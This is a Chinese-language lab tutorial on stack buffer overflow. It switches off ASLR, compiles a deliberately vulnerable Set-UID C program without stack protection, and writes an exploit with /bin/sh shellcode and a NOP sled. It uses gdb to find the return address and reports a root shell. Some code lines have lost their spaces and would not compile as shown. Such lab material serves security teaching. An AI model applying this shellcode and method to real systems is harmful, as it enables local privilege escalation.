一、输入指令安装一些用于编译 32 位 C 程序的软件包:
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb
二、初始设置
1.使用指令关闭使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址的功能。
sudo sysctl -w kernel.randomize_va_space=0
2.使用指令设置 zsh 程序
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在 /bin/bash 中实现。
linux 系统中,/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。
3.输入指令进入32位linux环境:linux32

三、漏洞程序
1.在 /tmp 目录下新建一个 stack.c 文件:
cd /tmp
vim stack.c
2.编写stack.c 程序
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
charbuffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return1;
}
int main(int argc, char **argv)
{
charstr[517];
FILE *badfile;
badfile = fopen("badfile","r");
fread(str,sizeof(char),517, badfile);
bof(str);
printf("Returned Properly\n");
return1;
}
3. 编译该程序,并设置 SET-UID
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
四、攻击程序
1. 在 /tmp 目录下新建一个 exploit.c 文件
2.编写exploit.c:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0"//xorl %eax,%eax
"\x50"//pushl %eax
"\x68""//sh"//pushl $0x68732f2f
"\x68""/bin"//pushl $0x6e69622f
"\x89\xe3"//movl %esp,%ebx
"\x50"//pushl %eax
"\x53"//pushl %ebx
"\x89\xe1"//movl %esp,%ecx
"\x99"//cdq
"\xb0\x0b"//movb $0x0b,%al
"\xcd\x80"//int $0x80
;
void main(int argc, char **argv)
{
charbuffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer,0x90,517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");//在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer +100, shellcode);//将shellcode拷贝至buffer,偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile","w");
fwrite(buffer,517,1, badfile);
fclose(badfile);
}
3.进入gdb调试
gdb stack
disass main
结果如图:


esp 中就是 str 的起始地址,所以我们在地址 0x080484ee 处设置断点。
4.设置断点
b *0x080484ee
r
i r $esp

最后获得的这个 0xffffcfb0 就是 str 的地址。
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014
现在修改 exploit.c 文件,将 \x??\x??\x??\x?? 修改为计算的结果 \x14\xd0\xff\xff
5. 编译 exploit.c 程序
gcc -m32 -o exploit exploit.c

五、进行攻击
先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果

可见,通过攻击,获得了root 权限

浙公网安备 33010602011771号